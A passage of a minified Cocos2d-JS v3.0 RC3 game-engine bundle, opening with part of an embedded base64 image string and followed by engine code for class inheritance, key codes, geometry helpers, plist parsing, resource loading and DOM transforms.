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\x3d";var b=b||{},L={id:0|998*Math.random(),E2:0|998*Math.random(),QM:function(a,c,d){a=a.toString();var e=a.substring(a.indexOf("(")+1,a.indexOf(")")),e=e.trim();for(a=a.substring(a.indexOf("{")+1,a.lastIndexOf("}"));-1!=a.indexOf("this._super");){var f=a.indexOf("this._super"),g=a.indexOf("(",f),h=a.substring(g+1,a.indexOf(")",g)),h=h.trim();a=a.substring(0,f)+"ClassManager["+d+"]."+c+".call(this"+(h?",":"")+a.substring(g+1)}return Function(e,a)},A1:function(){return this.id++},B1:function(){return this.E2++}};
- L.QM.J7=L;
- (function(){var a=/\b_super\b/,c=b.wb.ne[b.wb.jg.M_];c&&console.log("release Mode");b.oa=function(){};b.oa.extend=function(d){function e(){this.ua=L.B1();this.ctor&&this.ctor.apply(this,arguments)}var f=this.prototype,g=Object.create(f),h=L.A1();L[h]=f;var k={writable:!0,enumerable:!1,configurable:!0};g.ua=null;e.id=h;k.value=h;Object.defineProperty(g,"__pid",k);e.prototype=g;k.value=e;Object.defineProperty(e.prototype,"constructor",k);this.Zh&&(e.Zh=b.k(this.Zh));this.$h&&(e.$h=b.k(this.$h));for(var m=
- 0,p=arguments.length;m<p;++m){var q=arguments[m],r;for(r in q){var t="function"===typeof q[r],s="function"===typeof f[r],u=a.test(q[r]);c&&t&&s&&u?(k.value=L.QM(q[r],r,h),Object.defineProperty(g,r,k)):t&&s&&u?(k.value=function(a,c){return function(){var d=this._super;this._super=f[a];var e=c.apply(this,arguments);this._super=d;return e}}(r,q[r]),Object.defineProperty(g,r,k)):t?(k.value=q[r],Object.defineProperty(g,r,k)):g[r]=q[r];if(t){var v,x;if(this.Zh&&this.Zh[r]){var t=this.Zh[r],z;for(z in this.$h)if(this.$h[z]==
- t){x=z;break}b.j(g,t,q[r],q[x]?q[x]:g[x],r,x)}if(this.$h&&this.$h[r]){t=this.$h[r];for(z in this.Zh)if(this.Zh[z]==t){v=z;break}b.j(g,t,q[v]?q[v]:g[v],q[r],v,r)}}}}e.extend=b.oa.extend;e.Eea=function(a){for(var c in a)g[c]=a[c]};return e}})();
- b.j=function(a,c,d,e,f,g){if(a.__defineGetter__)d&&a.__defineGetter__(c,d),e&&a.__defineSetter__(c,e);else if(Object.defineProperty){var h={enumerable:!1,configurable:!0};d&&(h.get=d);e&&(h.set=e);Object.defineProperty(a,c,h)}else throw Error("browser does not support getters");if(!f&&!g)for(var h=null!=d,k=void 0!=e,m=Object.getOwnPropertyNames(a),p=0;p<m.length;p++){var q=m[p];if((a.__lookupGetter__?!a.__lookupGetter__(q):!Object.getOwnPropertyDescriptor(a,q))&&"function"===typeof a[q]){var r=a[q];
- if(h&&r===d&&(f=q,!k||g))break;if(k&&r===e&&(g=q,!h||f))break}}a=a.constructor;f&&(a.Zh||(a.Zh={}),a.Zh[f]=c);g&&(a.$h||(a.$h={}),a.$h[g]=c)};b.k=function(a){var c=a.constructor?new a.constructor:{},d;for(d in a){var e=a[d];c[d]="object"!=typeof e||!e||e instanceof b.m||e instanceof HTMLElement?e:b.k(e)}return c};b=b||{};b.H=b.H||{};b.caa=function(){};
- b.vq={HM:8,q6:9,mN:13,shift:16,Eaa:17,alt:18,pause:19,laa:20,escape:27,gia:33,fia:34,end:35,home:36,left:37,Tla:38,right:39,Uaa:40,Iea:45,U7:46,0:48,1:49,2:50,3:51,4:52,5:53,6:54,7:55,8:56,9:57,a:65,b:66,C:67,K:68,Gg:69,Fh:70,g:71,vp:72,Ns:73,Mx:74,Nx:75,Xx:76,ay:77,il:78,dy:79,d:80,oy:81,r:82,cG:83,GG:84,fa:85,ga:86,G:87,x:88,y:89,z:90,kha:96,lha:97,mha:98,nha:99,oha:100,pha:101,qha:102,rha:103,sha:104,tha:105,"*":106,"+":107,"-":109,numdel:110,"/":111,Dba:112,Hba:113,Iba:114,Jba:115,Kba:116,Lba:117,
- Mba:118,Nba:119,Oba:120,Eba:121,Fba:122,Gba:123,Gha:144,kja:145,mja:186,",":186,Bba:187,"\x3d":187,";":188,uaa:188,Faa:189,".":190,mia:190,Sba:191,Bea:192,"[":219,Qha:219,"]":221,raa:221,daa:220,quote:222,vla:32};b.a8=0;b.tz=1;b.gH=2;b.b8=3;b.c8=4;b.OR=5;b.o1=function(a){return 8<a.length&&137==a[0]&&80==a[1]&&78==a[2]&&71==a[3]&&13==a[4]&&10==a[5]&&26==a[6]&&10==a[7]?b.tz:2<a.length&&(73==a[0]&&73==a[1]||77==a[0]&&77==a[1]||255==a[0]&&216==a[1])?b.gH:b.OR};
- b.Fea=function(a,c){function d(){}d.prototype=c.prototype;a.Qy=c.prototype;a.prototype=new d;a.prototype.constructor=a};
- b.eaa=function(a,c,d){var e=arguments.callee.caller;if(e.Qy)return ret=e.Qy.constructor.apply(a,Array.prototype.slice.call(arguments,1));for(var f=Array.prototype.slice.call(arguments,2),g=!1,h=a.constructor;h;h=h.Qy&&h.Qy.constructor)if(h.prototype[c]===e)g=!0;else if(g)return h.prototype[c].apply(a,f);if(a[c]===e)return a.constructor.prototype[c].apply(a,f);throw Error("cc.base called from a method of one name to a method of a different name");};b.T8=function(a,c){this.x=a||0;this.y=c||0};b.d=function(a,c){return void 0==a?{x:0,y:0}:void 0==c?{x:a.x,y:a.y}:{x:a,y:c}};b.SF=function(a,c){return a&&c&&a.x===c.x&&a.y===c.y};b.Z8=function(a,c){this.width=a||0;this.height=c||0};b.size=function(a,c){return void 0===a?{width:0,height:0}:void 0===c?{width:a.width,height:a.height}:{width:a,height:c}};b.ula=function(a,c){return a&&c&&a.width==c.width&&a.height==c.height};
- b.RH=function(a,c,d,e){this.x=a||0;this.y=c||0;this.width=d||0;this.height=e||0};b.rect=function(a,c,d,e){return void 0===a?{x:0,y:0,width:0,height:0}:void 0===c?{x:a.x,y:a.y,width:a.width,height:a.height}:{x:a,y:c,width:d,height:e}};b.lP=function(a,c){return a&&c&&a.x===c.x&&a.y===c.y&&a.width===c.width&&a.height===c.height};b.PC=function(a){return a&&0===a.x&&0===a.y&&0===a.width&&0===a.height};
- b.Cia=function(a,c){return a&&c?!(a.x>=c.x||a.y>=c.y||a.x+a.width<=c.x+c.width||a.y+a.height<=c.y+c.height):!1};b.kt=function(a){return a.x+a.width};b.Dia=function(a){return a.x+a.width/2};b.Jp=function(a){return a.x};b.lt=function(a){return a.y+a.height};b.Eia=function(a){return a.y+a.height/2};b.Kp=function(a){return a.y};b.kP=function(a,c){return c.x>=b.Jp(a)&&c.x<=b.kt(a)&&c.y>=b.Kp(a)&&c.y<=b.lt(a)};
- b.Gia=function(a,c){var d=a.y+a.height,e=c.x+c.width,f=c.y+c.height;return!(a.x+a.width<c.x||e<a.x||d<c.y||f<a.y)};b.Hia=function(a,c){return!(a.x+a.width<c.x||c.x+c.width<a.x||a.y+a.height<c.y||c.y+c.height<a.y)};b.py=function(a,c){var d=b.rect(0,0,0,0);d.x=Math.min(a.x,c.x);d.y=Math.min(a.y,c.y);d.width=Math.max(a.x+a.width,c.x+c.width)-d.x;d.height=Math.max(a.y+a.height,c.y+c.height)-d.y;return d};
- b.Fia=function(a,c){var d=b.rect(Math.max(b.Jp(a),b.Jp(c)),Math.max(b.Kp(a),b.Kp(c)),0,0);d.width=Math.min(b.kt(a),b.kt(c))-b.Jp(d);d.height=Math.min(b.lt(a),b.lt(c))-b.Kp(d);return d};b.pu=b.oa.extend({oL:null,aC:null,ctor:function(){window.DOMParser?(this.aC=!0,this.oL=new DOMParser):this.aC=!1},parse:function(a){return this.wC(a)},wC:function(a){var c;this.aC?c=this.oL.parseFromString(a,"text/xml"):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(a));return c}});
- b.kT=b.pu.extend({parse:function(a){a=this.wC(a).documentElement;if("plist"!=a.tagName)throw"Not a plist file!";for(var c=null,d=0,e=a.childNodes.length;d<e&&(c=a.childNodes[d],1!=c.nodeType);d++);return this.vC(c)},vC:function(a){var c=null,d=a.tagName;if("dict"==d)c=this.mY(a);else if("array"==d)c=this.lY(a);else if("string"==d)if(1==a.childNodes.length)c=a.firstChild.nodeValue;else for(c="",d=0;d<a.childNodes.length;d++)c+=a.childNodes[d].nodeValue;else"false"==d?c=!1:"true"==d?c=!0:"real"==d?
- c=parseFloat(a.firstChild.nodeValue):"integer"==d&&(c=parseInt(a.firstChild.nodeValue,10));return c},lY:function(a){for(var c=[],d=0,e=a.childNodes.length;d<e;d++){var f=a.childNodes[d];1==f.nodeType&&c.push(this.vC(f))}return c},mY:function(a){for(var c={},d=null,e=0,f=a.childNodes.length;e<f;e++){var g=a.childNodes[e];1==g.nodeType&&("key"==g.tagName?d=g.firstChild.nodeValue:c[d]=this.vC(g))}return c}});b.jM={load:function(a,c,d,e){b.V.$x(a,e)}};b.V.Pj(["txt","xml","vsh","fsh","atlas"],b.jM);b.MX={load:function(a,c,d,e){b.V.QO(a,e)}};b.V.Pj(["json","ExportJson"],b.MX);b.tX={load:function(a,c,d,e){b.V.Of[c]=b.V.Us(a,function(a,d){if(a)return e(a);b.Ea.sb(c);e(null,d)})}};b.V.Pj("png jpg bmp jpeg gif ico".split(" "),b.tX);b.HY={load:function(a,c,d,e){b.V.Of[c]=b.V.Us(d.src,function(a,d){if(a)return e(a);b.Ea.sb(c);e(null,d)})}};b.V.Pj(["serverImg"],b.HY);
- b.rY={load:function(a,c,d,e){b.V.$x(a,function(a,c){if(a)return e(a);e(null,b.d4.parse(c))})}};b.V.Pj(["plist"],b.rY);
- b.EW={tU:{".eot":"embedded-opentype",".ttf":"truetype",".woff":"woff",".svg":"svg"},bL:function(a,c,d){var e=document,f=b.path,g=this.tU,h=b.Rb("style");h.type="text/css";e.body.appendChild(h);var k="@font-face { font-family:"+a+"; src:";if(c instanceof Array)for(var m=0,p=c.length;m<p;m++)d=f.$k(c[m]).toLowerCase(),k+="url('"+c[m]+"') format('"+g[d]+"')",k+=m==p-1?";":",";else k+="url('"+c+"') format('"+g[d]+"');";h.textContent+=k+"};";c=b.Rb("div");d=c.style;d.fontFamily=a;c.innerHTML=".";d.position=
- "absolute";d.left="-100px";d.top="-100px";e.body.appendChild(c)},load:function(a,c,d,e){c=d.type;a=d.name;c=d.wla;"string"==typeof d?(c=b.path.$k(d),a=b.path.y_(d,c),this.bL(a,d,c)):this.bL(a,c);e(null,!0)}};b.V.Pj(["font","eot","ttf","woff","svg"],b.EW);b.Q9={load:function(a,c,d,e){b.V.y3(a,e)}};window.CocosEngine=b.oz="Cocos2d-JS v3.0 RC3";b.wn=0;b.jz=b.d(0,0);b.rR=0.5;b.I7=1;b.jA=1;b.TS=0;b.cI=0;b.kA=0;b.d9=0;b.V8=1;b.U8="-hd";b.iV=1;b.bk=0;b.X8=0;b.oS=0;b.nS=0;b.Az=1;b.M7=b.oz+"-canvas";b.Ht=1;b.Zg=1;b.rb=function(a){var c=this==b?document:this;if(a=a instanceof HTMLElement?a:c.querySelector(a))a.find=a.find||b.rb,a.nF=a.nF||function(a){return this.className.match(RegExp("(\\s|^)"+a+"(\\s|$)"))},a.yM=a.yM||function(a){this.nF(a)||(this.className&&(this.className+=" "),this.className+=a);return this},a.v4=a.v4||function(a){this.nF(a)&&(this.className=this.className.replace(a,""));return this},a.remove=a.remove||function(){this.parentNode&&this.parentNode.removeChild(this);return this},a.EM=a.EM||
- function(a){a.appendChild(this);return this},a.i4=a.i4||function(a){a.childNodes[0]?a.insertBefore(this,a.childNodes[0]):a.appendChild(this);return this},a.yt=a.yt||function(){this.style[b.rb.F6]=b.rb.translate(this.position)+b.rb.rotate(this.rotation)+b.rb.scale(this.scale)+b.rb.Qp(this.Qp);return this},a.position=a.position||{x:0,y:0},a.rotation=a.rotation||0,a.scale=a.scale||{x:1,y:1},a.Qp=a.Qp||{x:0,y:0},a.uQ=function(a,c){this.position.x=a;this.position.y=c;this.yt()},a.rotate=function(a){this.rotation=
- a;this.yt();return this},a.resize=function(a,c){this.scale.x=a;this.scale.y=c;this.yt();return this},a.Lka=function(a,c){this.Qp.x=a;this.Qp.y=c;this.yt();return this};return a};switch(b.pa.Aj){case b.pa.$p:b.rb.gt="Moz";b.rb.wp=!0;break;case b.pa.$y:case b.pa.cz:b.rb.gt="webkit";b.rb.wp=!0;break;case b.pa.bz:b.rb.gt="O";b.rb.wp=!1;break;case b.pa.az:b.rb.gt="ms";b.rb.wp=!1;break;default:b.rb.gt="webkit",b.rb.wp=!0}b.rb.F6=b.rb.gt+"Transform";
- b.rb.translate=b.rb.wp?function(a){return"translate3d("+a.x+"px, "+a.y+"px, 0) "}:function(a){return"translate("+a.x+"px, "+a.y+"px) "};b.rb.rotate=b.rb.wp?function(a){return"rotateZ("+a+"deg) "}:function(a){return"rotate("+a+"deg) "};b.rb.scale=function(a){return"scale("+a.x+", "+a.y+") "};b.rb.Qp=function(a){return"skewX("+-a.x+"deg) skewY("+a.y+"deg)"};b.MQ=function(){return b.rb(document.createElement("input"))};
- b.rb.Qba=function(a){var c=0,d=0;do c+=a.offsetLeft,d+=a.offsetTop;while(a=a.offsetParent);return{x:c,y:d}};b.l8=-1;b.PI=Math.PI;b.NR=parseFloat("3.402823466e+38F");b.Z7=parseFloat("1.175494351e-38F");b.lT=b.PI/180;b.aH=180/b.PI;b.RI=4294967295;b.nQ=function(a,c,d){if("object"==typeof d&&"undefined"!=typeof d.x&&"undefined"!=typeof d.y){var e=d[a];d[a]=d[c];d[c]=e}else b.log(b.f.nQ)};b.Zga=function(a,c,d){return a+(c-a)*d};b.yb=function(){return 16777215*Math.random()};b.o4=function(){return 2*(Math.random()-0.5)};b.via=Math.random;b.Pf=function(a){return a*b.lT};b.WF=function(a){return a*b.aH};
- b.hP=function(a){b.log(b.f.hP);return a*b.aH};b.Dq=Number.MAX_VALUE-1;b.ac=b.TS?1:770;b.$b=771;b.Xs=function(a){a.Eb&&(a.Eb.Ic(),a.Eb.Re())};b.Aba=function(){};b.Laa=function(){};b.Tf=function(){b.lf+=1};b.$t=1.192092896E-7;b.pb=b.Az?function(){return b.J.dh}:function(){return 1};b.e4=function(a){var c=b.pb();return b.d(a.x*c,a.y*c)};b.TF=function(a){var c=b.pb();return b.d(a.x/c,a.y/c)};b.AC=function(a,c){var d=b.pb();c.x=a.x/d;c.y=a.y/d};
- b.Y5=function(a){var c=b.pb();return b.size(a.width*c,a.height*c)};b.gQ=function(a){var c=b.pb();return b.size(a.width/c,a.height/c)};b.$L=function(a,c){var d=b.pb();c.width=a.width/d;c.height=a.height/d};b.ml=b.Az?function(a){var c=b.pb();return b.rect(a.x/c,a.y/c,a.width/c,a.height/c)}:function(a){return a};b.mt=b.Az?function(a){var c=b.pb();return b.rect(a.x*c,a.y*c,a.width*c,a.height*c)}:function(a){return a};b.ONE=1;b.ZERO=0;b.SRC_ALPHA=770;b.SRC_ALPHA_SATURATE=776;b.SRC_COLOR=768;
